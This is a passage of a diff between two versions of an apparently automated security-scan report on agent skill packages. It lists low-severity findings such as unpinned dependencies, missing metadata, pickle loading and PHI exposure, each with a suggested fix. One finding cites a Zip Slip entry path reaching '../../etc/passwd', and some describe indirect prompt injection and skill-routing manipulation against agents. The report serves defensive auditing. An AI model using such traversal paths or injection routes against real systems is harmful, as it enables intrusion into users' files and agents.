crowd out more specific skills.> File: `SKILL.md`- > **Remediation:** Narrow the description to specific capabilities rather than claiming universal PDF handling. Avoid unconditional activation triggers like 'whenever the user mentions a .pdf file.'+ > **Remediation:** Narrow the activation description to specific use cases rather than 'anything with PDF files' and 'any mention of a .pdf file'. This reduces unintended activation.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Third-Party Dependencies- > The skill instructs installation of multiple third-party packages (pypdf, pdfplumber, reportlab, pytesseract, pdf2image, pandas, Pillow) without version pinning. Unpinned dependencies are vulnerable to supply chain attacks where a malicious version could be installed.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Third-Party Library Dependencies+ > The skill instructs installation of multiple third-party libraries (pypdf, pdfplumber, reportlab, pytesseract, pdf2image, pandas) without version pinning. Unpinned dependencies are vulnerable to supply chain attacks where a malicious version could be installed. The SKILL.md code examples use 'pip install pytesseract pdf2image' without specifying exact versions.> File: `SKILL.md`- > **Remediation:** Pin all dependencies to specific versions (e.g., pypdf==4.x.x, pdfplumber==0.x.x) and provide a requirements.txt with hashes where possible.+ > **Remediation:** Pin all dependencies to specific versions (e.g., 'pip install pytesseract==0.3.10 pdf2image==1.17.0'). Consider providing a requirements.txt with pinned versions and hash verification.-- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Static Analyzer False Positives: eval/exec Flags in Markdown Code Blocks- > The static pre-scan flagged multiple MDBLOCK_PYTHON_EVAL_EXEC findings. Upon review, the SKILL.md code blocks do not contain actual eval() or exec() calls. The flags appear to be false positives from the static analyzer matching patterns within illustrative code examples. No actual dynamic code execution risk was found in the markdown instruction body.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Referenced Python Module Files Not Found+ > The instructions reference files named pdfplumber.py, pytesseract.py, pdf2image.py, pypdf.py, and reportlab.py which were not found in the package. While these appear to be references to installed Python packages rather than local files, the naming could cause confusion or shadow installed packages if local files with these names were introduced.> File: `SKILL.md`- > **Remediation:** No action required for the false positives. Confirm static analyzer rules are tuned to avoid matching within fenced code block examples.+ > **Remediation:** Clarify that these are external library dependencies, not local files. Ensure no local files with these names exist in the skill directory as they could shadow the legitimate installed packages.### pennylane — 🔵 LOW-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration- > The skill manifest does not specify an 'allowed-tools' field. While this is optional per the agent skills spec, the skill installs packages and executes Python code, so documenting the intended tool scope would improve transparency and security posture.- > File: `SKILL.md`- > **Remediation:** Add an explicit 'allowed-tools' field to the YAML frontmatter listing the tools this skill requires, e.g., allowed-tools: [Bash, Python, Read].--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Multiple Missing Referenced Files- > The SKILL.md references numerous files that do not exist in the skill package (templates/getting_started.md, templates/quantum_circuits.md, templates/devices_backends.md, templates/advanced_features.md, assets/quantum_ml.md, assets/getting_started.md, assets/optimization.md, assets/quantum_chemistry.md, assets/devices_backends.md, assets/quantum_circuits.md, assets/advanced_features.md, templates/quantum_ml.md, templates/quantum_chemistry.md, templates/optimization.md, pennylane.py). This creates an incomplete skill package and could cause unexpected agent behavior when attempting to access these files.- > File: `SKILL.md`- > **Remediation:** Ensure all referenced files are included in the skill package, or remove references to non-existent files from the instructions.--- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Instructions- > The skill instructs users to install packages using 'uv pip install pennylane', 'uv pip install pennylane-qiskit', 'uv pip install amazon-braket-pennylane-plugin', etc., without version pinning. This exposes users to supply chain risks where a compromised or malicious package version could be installed.- > File: `SKILL.md`- > **Remediation:** Pin package versions in installation instructions, e.g., 'uv pip install pennylane==0.38.0'. This ensures reproducible and auditable installations and reduces supply chain risk.--### polars-bio — 🔵 LOW--- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval/exec Usage Flagged by Static Analyzer- > The static pre-scan flagged a Python code block containing eval/exec usage within the skill's markdown documentation. After reviewing all provided markdown content (SKILL.md, references/interval_operations.md, references/file_io.md, references/pileup_operations.md, references/sql_processing.md), no actual eval() or exec() calls were found in the code examples. The flag appears to be a false positive from the static analyzer, possibly triggered by the word 'exec' appearing in documentation context (e.g., 'execute', 'execution'). No exploitable code injection pattern was identified.- > File: `SKILL.md`- > **Remediation:** No action required. This appears to be a false positive. If eval/exec is present in unretrieved files (polars_bio.py, polars.py, templates/), those files should be reviewed directly.--- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Installation Command in Documentation- > The SKILL.md Quick Start section shows a pinned version install command (`polars-bio==0.31.0`), which is good practice. However, several referenced files (templates/, assets/) are not found in the package, and the skill references polars_bio.py and polars.py which are also missing. The absence of these files means the full dependency surface cannot be verified. The pinned version in the install example mitigates supply chain risk for the primary package.- > File: `SKILL.md`- > **Remediation:** Ensure all referenced files (polars_bio.py, polars.py, templates/, assets/) are included in the skill package or remove references to them. Verify that polars-bio 0.31.0 on PyPI is the intended version and has not been compromised.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Cloud Credential Environment Variable Exposure Documentation- > The skill explicitly documents that cloud storage operations (S3, GCS, Azure) use environment variables such as AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GOOGLE_APPLICATION_CREDENTIALS, and AZURE_STORAGE_ACCOUNT. While this is standard cloud SDK behavior and the skill does not harvest or exfiltrate these credentials, the documentation normalizes passing cloud credentials through environment variables and instructs users to configure them. This is informational — the skill itself does not read or transmit credentials beyond what the cloud SDK requires for the stated cloud I/O purpose.- > File: `references/file_io.md`- > **Remediation:** This is expected behavior for a cloud-native bioinformatics library. No remediation needed. Users should ensure cloud credentials are scoped to minimum required permissions when using cloud storage paths.--### pptx — 🔵 LOW--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing License and Provenance Metadata- > The skill declares 'Proprietary' license referencing a LICENSE.txt file, but no author, version beyond '1.0', or contact information is provided. The compatibility field is not specified. This reduces auditability and makes it harder to verify the skill's provenance and trustworthiness.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility Field in YAML Manifest+ > The YAML manifest does not specify a 'compatibility' field. This is a minor informational gap that prevents users and skill discovery systems from understanding which platforms or environments this skill is designed to work with. The skill uses network-connected quantum hardware backends (IBM, IonQ, Amazon Braket) which require specific runtime environments and credentials.> File: `SKILL.md`- > **Remediation:** Add author, contact, and compatibility metadata to the YAML frontmatter. Ensure LICENSE.txt is bundled with the skill package.+ > **Remediation:** Add a compatibility field to the YAML manifest specifying supported platforms, e.g., 'compatibility: Claude Code, API'. Also note any requirements for quantum hardware credentials or cloud access.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Skill Activation Description- > The skill description is intentionally crafted to trigger on an extremely wide range of user inputs. It explicitly instructs the agent to activate whenever the user mentions 'deck,' 'slides,' 'presentation,' or references any .pptx filename, regardless of context. The phrase 'regardless of what they plan to do with the content afterward' and 'If a .pptx file needs to be opened, created, or touched, use this skill' are over-broad activation triggers that could cause the skill to activate in unintended contexts.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing Pinned Versions for Several Referenced but Not-Found Packages+ > The skill references two Python files (pennylane.py and qiskit_ibm_runtime.py) that were not found in the package. These appear to be expected local module files that are missing from the skill package. Their absence means the skill may silently fall back to system-installed versions of these libraries, which could be unpinned or compromised versions. The static analyzer also flagged cross-file exfiltration chain concerns involving these files.> File: `SKILL.md`- > **Remediation:** Narrow the activation criteria to specific, well-defined tasks rather than any mention of common words like 'slides' or 'deck'. Avoid 'regardless of context' language in skill descriptions.--- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Versions in Installation Instructions- > The SKILL.md dependencies section installs packages without pinned versions (e.g., 'pip install markitdown[pptx]', 'pip install Pillow', 'npm install -g pptxgenjs'). Unpinned dependencies are vulnerable to supply chain attacks where a malicious version could be published and automatically installed.- > File: `SKILL.md`- > **Remediation:** Pin all dependencies to specific versions (e.g., 'pip install markitdown[pptx]==0.x.x', 'pip install Pillow==10.x.x', 'npm install -g [email protected]'). Consider using a lockfile (requirements.txt with hashes, package-lock.json) for reproducible installs.--- **🔵 LOW** `LLM_PROMPT_INJECTION` — User-Provided PPTX Files Treated as Trusted Input for XML Parsing- > The skill unpacks user-provided PPTX files (which are ZIP archives containing XML) and parses their XML content directly. While defusedxml is used for XML parsing (which mitigates XXE attacks), the workflow involves reading and processing arbitrary XML from user-supplied files. Maliciously crafted PPTX files could contain unexpected XML structures that interact with the validation and editing logic in unintended ways. The skill does not explicitly validate or sanitize the source PPTX before processing.- > File: `scripts/office/unpack.py`- > **Remediation:** Add path traversal protection when extracting ZIP archives (check that extracted paths don't escape the output directory). Consider validating the PPTX structure before processing. The use of defusedxml is good practice and should be maintained throughout.--- **🔵 LOW** `LLM_COMMAND_INJECTION` — ZIP Path Traversal Risk in PPTX Extraction- > The unpack.py script uses zipfile.ZipFile.extractall() without checking for path traversal in ZIP entry names. A maliciously crafted PPTX file could contain ZIP entries with paths like '../../etc/passwd' or absolute paths, potentially writing files outside the intended output directory. This is a known vulnerability class (Zip Slip).- > File: `scripts/office/unpack.py:47`- > **Remediation:** Before extracting, validate all ZIP entry names to ensure they don't contain path traversal sequences. Use a safe extraction pattern:+ > **Remediation:** Ensure all referenced Python files are included in the skill package, or remove references to them. If these are meant to be system library imports, document this clearly and ensure version pinning is enforced via the installation instructions already present in SKILL.md.-for member in zf.namelist():- member_path = Path(output_path) / member- if not str(member_path.resolve()).startswith(str(output_path.resolve())):- raise ValueError(f'Path traversal detected: {member}')- zf.extract(member, output_path)+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — IonQ API Key Hardcoded in Reference Documentation+ > The devices_backends.md reference file contains an example showing an IonQ device initialized with a hardcoded placeholder API key string ('your_api_key'). While this is a documentation placeholder rather than a real credential, it normalizes the pattern of embedding API keys directly in code rather than using environment variables or secure credential management. Users following this example may inadvertently hardcode real API keys.+ > File: `references/devices_backends.md`+ > **Remediation:** Replace the hardcoded api_key example with a secure pattern such as reading from an environment variable: api_key=os.environ.get('IONQ_API_KEY'). Add a note warning users never to hardcode real API keys in source code.### pydeseq2 — 🔵 LOW-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration- > The skill does not declare an 'allowed-tools' field in its YAML manifest. While this field is optional per the agent skills spec, its absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) can be invoked. The skill executes Python scripts, writes files to disk, and uses pickle serialization, so documenting tool usage would improve transparency.- > File: `SKILL.md`- > **Remediation:** Add an explicit 'allowed-tools' field to the YAML frontmatter, e.g., 'allowed-tools: [Python, Bash, Read, Write]', to document the intended tool usage scope.--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility Field- > The YAML manifest does not specify a 'compatibility' field, leaving it unclear which agent environments or platforms this skill is designed to work with. This is a minor documentation gap that could lead to the skill being activated in incompatible environments.- > File: `SKILL.md`- > **Remediation:** Add a 'compatibility' field to the YAML frontmatter specifying supported environments, e.g., 'compatibility: Works in Claude.ai, Claude Code, API'.--- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Installation- > The installation instruction uses 'uv pip install pydeseq2' without a pinned version. This means the skill will install whatever the latest version of pydeseq2 is at the time of installation, which could introduce breaking changes or, in a supply chain attack scenario, a compromised package version. The requirements listed in the SKILL.md also specify minimum versions (e.g., 'pandas 1.4.3+') rather than exact pins.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Referenced Files May Indicate Incomplete Package+ > The SKILL.md references several files that do not exist in the package: matplotlib.py, templates/workflow_guide.md, pydeseq2.py, anndata.py, assets/workflow_guide.md, templates/api_reference.md, assets/api_reference.md. While the two primary reference files (references/api_reference.md and references/workflow_guide.md) are present, the presence of multiple missing referenced files could indicate an incomplete or misconfigured package. This is a low-severity informational finding.> File: `SKILL.md`- > **Remediation:** Pin the dependency to a specific known-good version, e.g., 'uv pip install pydeseq2==0.4.1'. Consider using a requirements.txt or pyproject.toml with exact version pins and hash verification for all dependencies.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Pickle Deserialization of Potentially Untrusted Data- > The script saves and loads DeseqDataSet objects using Python's pickle module. The workflow guide explicitly shows loading from user-provided pickle files ('From saved pickle' pattern). Pickle deserialization of untrusted files can lead to arbitrary code execution. While the primary use case appears to be saving/loading the skill's own outputs, the workflow guide instructs users to load arbitrary pickle files, which is a security risk if those files come from untrusted sources.- > File: `scripts/run_deseq2_analysis.py:175`- > **Remediation:** Add a warning in the documentation that pickle files should only be loaded from trusted sources. Consider using safer serialization formats (e.g., HDF5/AnnData's native .h5ad format) for data exchange. If pickle must be used, validate file provenance before loading.+ > **Remediation:** Remove references to non-existent files from the skill package or ensure all referenced files are included. This prevents confusion and potential errors when the agent attempts to read missing files.### pydicom — 🔵 LOW- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Dependencies in Installation Instructions- > The SKILL.md installation instructions use unpinned package versions (e.g., 'uv pip install pydicom', 'uv pip install pillow', 'uv pip install numpy', etc.). Without version pinning, the skill is vulnerable to supply chain attacks where a compromised or malicious version of a dependency could be installed. This is particularly concerning in a medical imaging context where data integrity is critical.+ > The SKILL.md installation instructions use unpinned package versions (e.g., 'uv pip install pydicom', 'uv pip install pillow', 'uv pip install numpy', etc.). Without version pinning, the skill is vulnerable to supply chain attacks where a compromised or malicious version of a dependency could be installed. This is particularly concerning for a medical imaging skill that may process sensitive patient data (PHI).> File: `SKILL.md`> **Remediation:** Pin all dependencies to specific versions (e.g., 'uv pip install pydicom==2.4.4 pillow==10.2.0 numpy==1.26.4'). Consider using a requirements.txt or pyproject.toml with locked versions and hash verification.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing Referenced Files (matplotlib.py, PIL.py, pydicom.py)- > The skill references several files (matplotlib.py, PIL.py, pydicom.py) that are not found in the package. While these appear to be Python library imports rather than actual skill files, their absence as referenced files could indicate incomplete packaging or potential confusion. The static analyzer flagged these as referenced but missing files.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing Provenance - License URL Instead of SPDX Identifier+ > The skill manifest specifies a license as a GitHub URL ('https://github.com/pydicom/pydicom/blob/main/LICENSE') rather than a standard SPDX license identifier. This makes it unclear what license governs the skill itself versus the underlying library. The skill author is listed as 'K-Dense Inc.' but there is no version control or integrity verification for the skill package itself.> File: `SKILL.md`- > **Remediation:** Verify that all referenced files are either included in the skill package or clearly documented as external library dependencies. Remove any erroneous file references from the skill manifest.+ > **Remediation:** Use a standard SPDX license identifier (e.g., 'MIT', 'Apache-2.0') for the skill's own license. Clearly distinguish between the skill's license and the pydicom library's license. Consider adding a checksum or signature for skill package integrity verification.- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Incomplete PHI Anonymization - UIDs Not Anonymized by Default- > The anonymize_dicom.py script leaves DICOM UIDs (StudyInstanceUID, SeriesInstanceUID, SOPInstanceUID) intact by default. These UIDs can be used to re-identify patients by cross-referencing with PACS systems or other DICOM databases. The code to anonymize UIDs is present but commented out, with a note about 'maintaining referential integrity'. This creates a risk that users may believe files are fully anonymized when they are not.+ > The anonymize_dicom.py script leaves Study/Series/SOP Instance UIDs intact by default (the UID anonymization code is commented out). DICOM UIDs can be used to re-identify patients by cross-referencing with PACS systems or other DICOM databases. The script comments indicate this is intentional to 'maintain referential integrity', but this represents a significant de-anonymization risk when sharing data externally.> File: `scripts/anonymize_dicom.py`- > **Remediation:** Enable UID anonymization by default or add a clear warning that UIDs are preserved and can be used for re-identification. Add a --preserve-uids flag for cases where referential integrity is needed, making UID anonymization the default behavior. Document this limitation prominently.+ > **Remediation:** Add a --anonymize-uids flag (defaulting to True for external sharing use cases) that replaces UIDs with newly generated ones. Document the re-identification risk of leaving UIDs intact and provide guidance on when UID anonymization is required.- **🔵 LOW** `LLM_DATA_EXFILTRATION` — PHI Exposure Risk in Metadata Extraction Script- > The extract_metadata.py script extracts and displays all DICOM metadata including Protected Health Information (PHI) such as PatientName, PatientID, PatientBirthDate, PatientSex, PatientAge, PatientWeight, and other sensitive fields. The script can write this PHI to output files without any warning or sanitization. While this is the stated purpose of the tool, there is no warning to users about PHI handling obligations (HIPAA, GDPR, etc.) or guidance on secure handling of the output.+ > The extract_metadata.py script extracts and displays all DICOM metadata including Protected Health Information (PHI) such as PatientName, PatientID, PatientBirthDate, PatientSex, PatientAge, PatientWeight, and other sensitive fields. The script can write this PHI to output files without any access controls, encryption, or warnings about the sensitivity of the data being written. While this is the stated purpose of the tool, there is no safeguard to prevent accidental exposure of PHI to insecure locations.> File: `scripts/extract_metadata.py`- > **Remediation:** Add prominent warnings in the script output and documentation about PHI handling obligations. Consider adding a --redact-phi flag that masks sensitive fields by default, requiring explicit opt-in to display raw PHI.+ > **Remediation:** Add a warning to users when PHI fields are detected in the output. Consider adding a --redact-phi flag that masks sensitive fields by default. Document clearly that output files may contain PHI and should be handled accordingly.### pyhealth — 🔵 LOW- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing License and Compatibility Metadata- > The skill manifest does not specify a license or compatibility field. While this is LOW severity per the analysis framework, the absence of provenance metadata (license, compatibility) reduces auditability and trust verification for a skill that handles sensitive healthcare/clinical data contexts. The skill author is listed as 'K-Dense Inc.' but no license is provided.- > File: `SKILL.md`- > **Remediation:** Add a license field (e.g., MIT, Apache-2.0) and compatibility field to the YAML frontmatter to improve provenance and auditability.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration- > The skill does not declare an allowed-tools field in its manifest. While this is optional per the spec and LOW severity, the skill instructs the agent to read multiple reference files, execute Python code, and run bash commands (uv run). Without an explicit allowed-tools declaration, there is no manifest-level constraint on what tools the agent may use when executing this skill.+ > The skill manifest does not specify a license or compatibility field. While this is a LOW severity informational finding, the absence of provenance metadata (license, compatibility) makes it harder to assess the trustworthiness and intended deployment scope of the skill. The skill-author is listed as 'K-Dense Inc.' but no license is provided, which is a minor supply chain concern.> File: `SKILL.md`- > **Remediation:** Add an explicit allowed-tools declaration such as [Read, Python, Bash] to document and constrain the intended tool usage for this skill.+ > **Remediation:** Add a license field (e.g., MIT, Apache-2.0) and a compatibility field to the YAML frontmatter. Add allowed-tools to document which agent tools this skill requires.- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Skill Activation Description with Keyword Baiting- > The skill description and SKILL.md 'When to use this skill' section contain an extensive list of trigger keywords and explicitly instruct the agent to activate even when 'PyHealth isn't named explicitly.' This over-broad activation language could cause the skill to be invoked in contexts beyond its intended scope, potentially inflating its activation surface. The instruction 'Use this skill whenever the user mentions PyHealth, MIMIC, eICU, OMOP, EHR modeling, clinical prediction, drug recommendation, sleep staging, medical code mapping, ICD/ATC codes, or any healthcare ML pipeline that fits the dataset → task → model → trainer → metrics pattern, even if PyHealth isn't named explicitly' is a broad capability claim.- > File: `SKILL.md`- > **Remediation:** Narrow the activation criteria to explicit PyHealth usage or clearly scoped healthcare ML pipeline requests. Avoid instructing the agent to activate on broad domain keywords without explicit user intent.+ > The skill description and SKILL.md 'When to use this skill' section contain an extensive list of trigger keywords and an explicit instruction to activate 'even if PyHealth isn't named explicitly.' This over-broad activation language could cause the skill to be invoked in contexts beyond its intended scope, inflating its activation surface. The description lists numerous datasets, tasks, models, and medical terms as triggers, and the instruction body reinforces this with 'Use this skill whenever the user is doing clinical/healthcare ML and any of the following are true' followed by a broad list.+ > File: `SKILL.md:1`+ > **Remediation:** Narrow the activation criteria to cases where PyHealth is explicitly mentioned or clearly intended. Remove the 'even if PyHealth isn't named explicitly' clause or replace it with more specific conditions that genuinely require PyHealth's capabilities.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Package Installation via uv- > The skill instructs users to install PyHealth using 'uv add pyhealth' without pinning to a specific version. While uv generates a lockfile (uv.lock), the initial installation command does not specify a version pin. This means the installed version depends on what is current at install time, creating a supply chain risk if the PyHealth package on PyPI were compromised or if a malicious version were published. The skill also suggests 'uv add pyhealth==1.16' for legacy use, which is pinned, but the primary recommendation is unpinned.- > File: `SKILL.md`- > **Remediation:** Recommend pinning to a specific known-good version: 'uv add pyhealth==2.x.y' and document the expected version. Advise users to verify the package hash or use uv.lock for reproducibility.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Package Dependency (pyhealth)+ > The installation instructions throughout the skill recommend installing pyhealth without a pinned version (e.g., 'uv add pyhealth' or 'uv add pyhealth==1.16' for legacy). While uv generates a lockfile for project-based installs, the one-off script invocation 'uv run --with pyhealth python script.py' does not use a lockfile and will pull the latest available version. This creates a supply chain risk where a compromised or malicious future release of pyhealth could be automatically used.+ > File: `references/installation.md`+ > **Remediation:** For one-off scripts, pin the version explicitly: 'uv run --with pyhealth==2.x.y python script.py'. Document the expected version in the skill manifest. For project-based installs, the uv.lock file provides protection, but the version constraint in pyproject.toml should be pinned (e.g., pyhealth==2.x.y rather than pyhealth>=2.0).### pylabrobot — 🔵 LOW-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration- > The skill does not declare an 'allowed-tools' field in its YAML manifest. While this is optional per the spec, the skill executes Python code and makes network connections (to robot hardware via USB/HTTP), so declaring allowed tools would improve transparency and security posture.- > File: `SKILL.md`- > **Remediation:** Add 'allowed-tools: [Python, Bash]' or appropriate tool restrictions to the YAML frontmatter to explicitly declare what tools this skill uses.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Multiple Referenced Files Not Found- > The skill references numerous files that do not exist in the package (templates/visualization.md, assets/resources.md, templates/resources.md, templates/material-handling.md, pylabrobot.py, assets/liquid-handling.md, templates/hardware-backends.md, templates/analytical-equipment.md, assets/visualization.md, assets/material-handling.md, templates/liquid-handling.md, assets/analytical-equipment.md, assets/hardware-backends.md). While not directly a security threat, missing files could cause the agent to seek external sources to fill gaps, potentially leading to indirect prompt injection from untrusted external content.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Metadata+ > The skill does not specify the 'allowed-tools' field in its YAML manifest. While this is optional per the agent skills spec, documenting which tools are required (Python execution, file read/write) would improve transparency and security posture for a skill that instructs the agent to execute Python code for hardware control.> File: `SKILL.md`- > **Remediation:** Ensure all referenced files are included in the skill package, or remove references to non-existent files to prevent the agent from seeking external substitutes.+ > **Remediation:** Add 'allowed-tools: [Python]' or appropriate tool list to the YAML frontmatter to explicitly declare required capabilities.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Recommendation- > The skill's Quick Start section recommends installing PyLabRobot via 'uv pip install pylabrobot' without a version pin. This could expose users to supply chain risks if the package is compromised or a breaking/malicious version is published.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility Metadata+ > The skill does not specify the 'compatibility' field. Given that this skill controls physical laboratory hardware (Hamilton STAR, Opentrons OT-2, etc.) and requires USB/network connectivity, documenting compatibility constraints would help users understand the execution environment requirements.> File: `SKILL.md`- > **Remediation:** Recommend pinning to a specific version: 'uv pip install pylabrobot==<version>' and document the tested/verified version in the skill manifest.+ > **Remediation:** Add a 'compatibility' field describing platform requirements (e.g., requires USB access for Hamilton STAR, network access for Opentrons OT-2).### pymc — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and compatibility metadata- > The SKILL.md manifest does not specify 'allowed-tools' or 'compatibility' fields. While these are optional per the agent skills spec, their absence means there are no declared restrictions on what tools the agent can use when executing this skill. The skill executes Python code, writes files, and performs MCMC sampling, which could be resource-intensive.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing Referenced Files May Introduce Untrusted Content Risk+ > Several files referenced in the SKILL.md instructions are not present in the skill package (e.g., references/linear_regression_template.py, assets/distributions.md, templates/sampling_inference.md, arviz.py, pymc.py, scripts.py). While the absence of these files is not itself a threat, if the agent attempts to resolve these references at runtime from external or user-supplied sources, it could introduce untrusted content. The static analyzer flagged cross-file exfiltration chains across 2 files, warranting review.+ > File: `SKILL.md`+ > **Remediation:** Ensure all referenced files are bundled within the skill package. Do not allow the agent to fetch missing referenced files from external or user-supplied sources at runtime.++- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Overly Broad Compatibility and Dependency Claims+ > The SKILL.md compatibility field states 'Requires Python 3.12+ and PyMC 6.0.1-compatible dependencies' and mentions optional NumPyro or BlackJAX samplers requiring 'separately pinned JAX-compatible dependencies.' While the primary dependency (pymc[nutpie]==6.0.1) is pinned, the optional JAX-compatible dependencies are described as needing to be 'separately pinned' without specifying exact versions. This could lead to unpinned transitive dependencies being installed, introducing supply chain risk.> File: `SKILL.md`- > **Remediation:** Add 'allowed-tools: [Python, Bash]' and a 'compatibility' field to the YAML frontmatter to document intended tool usage and environment compatibility.+ > **Remediation:** Provide explicit pinned version requirements for all optional dependencies (NumPyro, BlackJAX, JAX) in a lockfile or requirements file bundled with the skill.### pymoo — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Referenced Files May Indicate Incomplete Package- > The skill references numerous files that do not exist in the package: templates/algorithms.md, templates/visualization.md, assets/operators.md, templates/constraints_mcdm.md, assets/problems.md, templates/operators.md, assets/algorithms.md, pymoo.py, templates/problems.md, assets/parallelization.md, assets/visualization.md, assets/constraints_mcdm.md, templates/parallelization.md. While some references (references/*.md) are present, the large number of missing files across templates/ and assets/ directories could indicate an incomplete or inconsistently packaged skill. This is a low-severity informational finding.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-broad Referenced File List with Many Missing Files+ > The SKILL.md references a large number of files across multiple directories (references/, templates/, assets/) that do not exist in the skill package. While this is not directly malicious, it inflates the apparent scope and complexity of the skill, and the missing files (templates/operators.md, templates/parallelization.md, templates/visualization.md, pymoo.py, assets/*.md, templates/*.md) could be used as a vector to introduce malicious content later if the skill package is updated. The static analyzer flagged cross-file exfiltration chains, warranting closer inspection.> File: `SKILL.md`- > **Remediation:** Audit the skill package to ensure all referenced files are included. Remove references to non-existent files or add the missing files to the package.+ > **Remediation:** Audit and remove references to non-existent files. Only reference files that are actually bundled with the skill package. Avoid referencing files in multiple redundant directories (references/, templates/, assets/) for the same content.### pyopenms — 🔵 LOW-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration- > The skill does not declare an allowed-tools field in the YAML manifest. While this is optional per the spec, the skill instructs installation of the pyopenms package via 'uv pip install pyopenms' and executes Python code. Without an explicit allowed-tools declaration, there is no manifest-level constraint on what tools the agent may use. This is informational only.- > File: `SKILL.md`- > **Remediation:** Add an explicit allowed-tools declaration to the YAML manifest, e.g., allowed-tools: [Python, Bash], to document the intended tool scope.--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-broad Capability Description with Competitor Redirection- > The skill description includes a reference to a competing skill ('For simple spectral comparison and metabolite ID use matchms'), which is an unusual pattern in a skill manifest. While this could be legitimate guidance, it may also be an attempt to manipulate skill discovery and routing behavior by embedding competitor-steering language in the manifest description. The description is otherwise reasonable for the stated purpose.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Specification+ > The skill does not declare an 'allowed-tools' field in its YAML manifest. While this field is optional per the agent skills spec, its absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) can be invoked. For a skill of this complexity that installs packages and executes Python code, declaring allowed tools would improve transparency and security posture.> File: `SKILL.md`- > **Remediation:** Remove competitor/alternative tool references from the skill manifest description. Capability descriptions should focus solely on what the skill does, not redirect to other tools.+ > **Remediation:** Add an explicit 'allowed-tools' field to the YAML manifest, e.g., 'allowed-tools: [Python, Bash, Read, Write]', to clearly document the intended tool usage scope.- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation- > The skill instructs installation of pyopenms without a pinned version number ('uv pip install pyopenms'). This creates a supply chain risk where a future compromised or malicious version of the package could be installed. The pyopenms package is a legitimate scientific library, but unpinned installs are a security best practice concern.+ > The skill instructs installation of 'pyopenms' without a pinned version number. Unpinned dependencies are vulnerable to supply chain attacks where a malicious version could be published to PyPI and automatically installed. The instruction 'uv pip install pyopenms' will always fetch the latest available version.> File: `SKILL.md`> **Remediation:** Pin the package to a specific known-good version, e.g., 'uv pip install pyopenms==3.1.0', and consider verifying the package hash after installation.### pysam — 🔵 LOW- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and compatibility metadata- > The skill manifest does not specify 'allowed-tools' or 'compatibility' fields. While these are optional per the agent skills spec, their absence means there are no declared restrictions on what tools the agent may use when executing this skill. Given the skill's nature (file I/O, subprocess execution via samtools/bcftools), documenting these would improve transparency.+ > The SKILL.md manifest does not specify 'allowed-tools' or 'compatibility' fields. While these are optional per the agent skills spec, their absence means there are no declared restrictions on which agent tools this skill may invoke. Given the skill's scope (file I/O, subprocess execution via samtools/bcftools), documenting these would improve transparency.> File: `SKILL.md`- > **Remediation:** Add 'allowed-tools' and 'compatibility' fields to the YAML frontmatter to clearly document intended tool usage and platform support.+ > **Remediation:** Add 'allowed-tools' and 'compatibility' fields to the YAML frontmatter to clearly document the skill's intended tool usage and environment requirements.-### pytdc — 🔵 LOW--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility and Allowed-Tools Metadata- > The YAML manifest does not specify 'compatibility' or 'allowed-tools' fields. While these are optional per the spec, the skill executes Python code, makes network calls, writes data to disk (e.g., 'admet_group(path="data/")' creates a local data directory), and installs packages. Without 